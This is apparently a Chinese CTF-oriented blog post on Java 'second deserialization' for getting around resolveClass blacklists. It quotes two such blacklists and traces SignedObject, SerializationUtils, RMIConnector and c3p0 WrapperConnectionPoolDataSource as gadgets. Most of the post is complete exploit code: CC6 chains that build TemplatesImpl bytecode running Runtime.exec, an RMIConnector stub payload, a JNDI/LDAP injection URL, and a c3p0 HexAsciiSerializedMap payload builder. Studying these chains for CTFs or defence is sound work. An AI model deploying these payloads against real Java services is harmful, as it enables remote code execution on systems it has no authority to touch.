Deserialization Twice

Deserial Twice

最近遇到了很多java题目,大都弄了个类继承ObjectInputStream,重写其resolveClass方法,在里面添加对反序列化类黑名单的校验。比如下面这个

public class MyObjectInputStream extends ObjectInputStream {

   private static final String[] blacklist = new String[]{
           "java\\.security.*", "java\\.rmi.*",  "com\\.fasterxml.*", "com\\.ctf\\.*",
           "org\\.springframework.*", "org\\.yaml.*", "javax\\.management\\.remote.*"
   };

   public MyObjectInputStream(InputStream inputStream) throws IOException {
      super(inputStream);
   }

   protected Class resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {
      if(!contains(cls.getName())) {
         return super.resolveClass(cls);
      } else {
         throw new InvalidClassException("Unexpected serialized class", cls.getName());
      }
   }

   public static boolean contains(String targetValue) {
      for (String forbiddenPackage : blacklist) {
         if (targetValue.matches(forbiddenPackage))
            return true;
      }
      return false;
   }
}

或是这样子

public class MyownObjectInputStream extends ObjectInputStream {
    private ArrayList Blacklist = new ArrayList();

    public MyownObjectInputStream(InputStream in) throws IOException {
        super(in);
        this.Blacklist.add(Hashtable.class.getName());
        this.Blacklist.add(HashSet.class.getName());
        this.Blacklist.add(JdbcRowSetImpl.class.getName());
        this.Blacklist.add(TreeMap.class.getName());
        this.Blacklist.add(HotSwappableTargetSource.class.getName());
        this.Blacklist.add(XString.class.getName());
        this.Blacklist.add(BadAttributeValueExpException.class.getName());
        this.Blacklist.add(TemplatesImpl.class.getName());
        this.Blacklist.add(ToStringBean.class.getName());
        this.Blacklist.add("com.sun.jndi.ldap.LdapAttribute");
    }

    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        if (this.Blacklist.contains(desc.getName())) {
            throw new InvalidClassException("dont do this");
        } else {
            return super.resolveClass(desc);
        }
    }
}

当然平时没事的时候可以研究一下这些黑名单中的类在反序列化中的关键用途

但是在比赛做题的时候就很恼火了,若没有积累充足的Java反序列化利用链经验,很难绕过;比赛时临时去找触发类也挺难的。

Java题就变成一道类的排列组合题了🤯,拼出一条可以打通的在黑名单之外的利用链。

这时候就可以考虑一下二次反序列化了,不用你定义的检测黑名单的ObjectInputStream去加载序列化对象,而是找到一条可以触发readObject的链子,用原生的ObjectInputStreamresolveClass

SignedObject

java.security.SignedObject#getObject

这个类在Hessian反序列化中用过,由于Hessian反序列化的特殊性,不会执行类的readObject来反序列化,而是通过反射获取field再填充进一个空的实例化对象,_tfactory又是transient修饰,writeObject不会写进去,导致TemplatesImpl不能利用。

public final class SignedObject implements Serializable {
        public SignedObject(Serializable object, PrivateKey signingKey,
                        Signature signingEngine)
        throws IOException, InvalidKeyException, SignatureException {
            // creating a stream pipe-line, from a to b
            ByteArrayOutputStream b = new ByteArrayOutputStream();
            ObjectOutput a = new ObjectOutputStream(b);

            // write and flush the object content to byte array
            a.writeObject(object);
            a.flush();
            a.close();
            this.content = b.toByteArray();
            b.close();

            // now sign the encapsulated object
            this.sign(signingKey, signingEngine);
    }
        public Object getObject()
        throws IOException, ClassNotFoundException
    {
        // creating a stream pipe-line, from b to a
        ByteArrayInputStream b = new ByteArrayInputStream(this.content);
        ObjectInput a = new ObjectInputStream(b);
        Object obj = a.readObject();
        b.close();
        a.close();
        return obj;
    }
}

🚩触发方式:能够执行类的getter方法,比如配合ROMEFastJson

KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");

SignedObject signedObject = new SignedObject(object_with_evil_readObject, privateKey, signingEngine);

SerializationUtils

org.springframework.util.SerializationUtils.deserialize

public static Object deserialize(@Nullable byte[] bytes) {
    if (bytes == null) {
        return null;
    }
    try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        return ois.readObject();
    } //...
}

RMIConnector

javax.management.remote.rmi.RMIConnector#findRMIServerJRMP

private RMIServer findRMIServerJRMP(String base64, Map<String, ?> env, boolean isIiop)
    throws IOException {

    final byte[] serialized;
    try {
        serialized = base64ToByteArray(base64);
    } //....
    final ByteArrayInputStream bin = new ByteArrayInputStream(serialized);

    final ClassLoader loader = EnvHelp.resolveClientClassLoader(env);
    final ObjectInputStream oin =
        (loader == null) ?
        new ObjectInputStream(bin) :
    new ObjectInputStreamWithLoader(bin, loader);
    final Object stub;
    try {
        stub = oin.readObject();
    } // ....
}

若能控制base64参数的内容就可以任意反序列化。

往上回溯

private RMIServer findRMIServer(JMXServiceURL directoryURL,
                                Map<String, Object> environment) {
    final boolean isIiop = RMIConnectorServer.isIiopURL(directoryURL,true);
    if (isIiop) {
        // Make sure java.naming.corba.orb is in the Map.
        environment.put(EnvHelp.DEFAULT_ORB,resolveOrb(environment));
    }

    String path = directoryURL.getURLPath();
    int end = path.indexOf(';');
    if (end < 0) end = path.length();
    if (path.startsWith("/jndi/"))
        return findRMIServerJNDI(path.substring(6,end), environment, isIiop);
    else if (path.startsWith("/stub/"))
        return findRMIServerJRMP(path.substring(6,end), environment, isIiop);
    else if (path.startsWith("/ior/")) {
        if (!IIOPHelper.isAvailable())
            throw new IOException("iiop protocol not available");
        return findRMIServerIIOP(path.substring(5,end), environment, isIiop);
    } else {
        final String msg = "URL path must begin with /jndi/ or /stub/ " +
            "or /ior/: " + path;
        throw new MalformedURLException(msg);
    }
}

path/stub/开头就能进到findRMIServerJRMPpath/stub/为序列化字节的base64编码

pathdirectoryURL#getURLPath得到

在往上发现connectdoStart调用了findRMIServer

public void connect() throws IOException {
        connect(null);
}
public synchronized void connect(Map<String,?> environment) {
    final boolean tracing = logger.traceOn();
    String        idstr   = (tracing?"["+this.toString()+"]":null);

    if (terminated) {
        logger.trace("connect",idstr + " already closed.");
        throw new IOException("Connector closed");
    }
    if (connected) {
        logger.trace("connect",idstr + " already connected.");
        return;
    }

    try {
        final Map<String, Object> usemap =
            new HashMap<String, Object>((this.env==null) ?
                                        Collections.<String, Object>emptyMap() : this.env);

        if (environment != null) {
            EnvHelp.checkAttributes(environment);
            usemap.putAll(environment);
        }

        // Get RMIServer stub from directory or URL encoding if needed.
        if (tracing) logger.trace("connect",idstr + " finding stub...");
        RMIServer stub = (rmiServer!=null)?rmiServer:
        findRMIServer(jmxServiceURL, usemap);
    }
}

protected void doStart() throws IOException {
    // Get RMIServer stub from directory or URL encoding if needed.
    RMIServer stub;
    try {
        stub = (rmiServer!=null)?rmiServer:
        findRMIServer(jmxServiceURL, env);
    }
}

利用CC链的InvokerTransformer来触发connectdoStartprotected修饰,不能用InvokerTransformer触发)

下面以CC6为例

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;

public class RMIConnectorTest {
    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static String getCode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "p4d0rn");
        setValue(templates, "_tfactory", null);

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);

        Map expMap = new HashMap();
        expMap.put(tiedMapEntry, "xxx");

        outerMap.clear();

        setValue(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(expMap);
        oos.close();

        return new String(Base64.getEncoder().encode(baos.toByteArray()));
    }

    public static void main(String args[]) throws Exception {
        RMIConnector rmiConnector = new RMIConnector(new JMXServiceURL("service:jmx:rmi://127.0.0.1:8888/stub/" + getCode()), new HashMap<>());
        Transformer invokeTransformer = InvokerTransformer.getInstance("connect");
        Transformer constantTransformer = new ConstantTransformer(1);

        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, constantTransformer);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "test");

        Map expMap = new HashMap();
        expMap.put(entry, "xxx");
        lazyMap.remove("test");

        // 将真正的transformers数组设置进来
        setValue(lazyMap,"factory", invokeTransformer);
        setValue(entry,"key", rmiConnector);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(expMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

可以看到findRMIServerJRMP支持jndistubiiop

跟进path/jndi/开头的分支:findRMIServerJNDI

private RMIServer findRMIServerJNDI(String jndiURL, Map<String, ?> env,
                                    boolean isIiop)
    throws NamingException {
    InitialContext ctx = new InitialContext(EnvHelp.mapToHashtable(env));
    Object objref = ctx.lookup(jndiURL);
    ctx.close();
    // ....
}

熟悉的InitialContext#lookup,改一下path就可以jndi注入了

new JMXServiceURL("service:jmx:rmi://127.0.0.1:8888/jndi/ldap://127.0.0.1:8099/aaa" )

WrapperConnectionPoolDataSource

com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setuserOverridesAsString可以跟进到

C3P0ImplUtils#parseUserOverridesAsString

private final static String HASM_HEADER = "HexAsciiSerializedMap";
public static Map parseUserOverridesAsString( String userOverridesAsString ){ 
    if (userOverridesAsString != null)
    {
        String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1);
        byte[] serBytes = ByteUtils.fromHexAscii( hexAscii );
        return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );
    }
    else
        return Collections.EMPTY_MAP;
}

注意这里字符截取是从HASM_HEADER.length() + 1userOverridesAsString.length() - 1,最后一位会吃掉

SerializableUtils#fromByteArray

public static Object fromByteArray(byte[] bytes) { 
    Object out = deserializeFromByteArray( bytes ); 
    if (out instanceof IndirectlySerialized)
        return ((IndirectlySerialized) out).getObject();
    else
        return out;
}

public static Object deserializeFromByteArray(byte[] bytes){
    ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
    return in.readObject();
}

配合fastjsonROME

import java.io.ByteArrayOutputStream;

import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


public class Exp {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] getCC6Bytes() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "p4d0rn");
        setValue(templates, "_tfactory", null);

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);

        Map expMap = new HashMap();
        expMap.put(tiedMapEntry, "xxx");

        outerMap.clear();

        setValue(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(expMap);
        oos.close();

        return baos.toByteArray();
    }

    public static void main(String[] args) throws Exception{
        String hex = ByteUtils.toHexAscii(getCC6Bytes());
        String payload = "HexAsciiSerializedMap:" + hex + '!';
        WrapperConnectionPoolDataSource wrapperConnectionPoolDataSource = new WrapperConnectionPoolDataSource();
        wrapperConnectionPoolDataSource.setUserOverridesAsString(payload);
    }
}

Reference

Last updated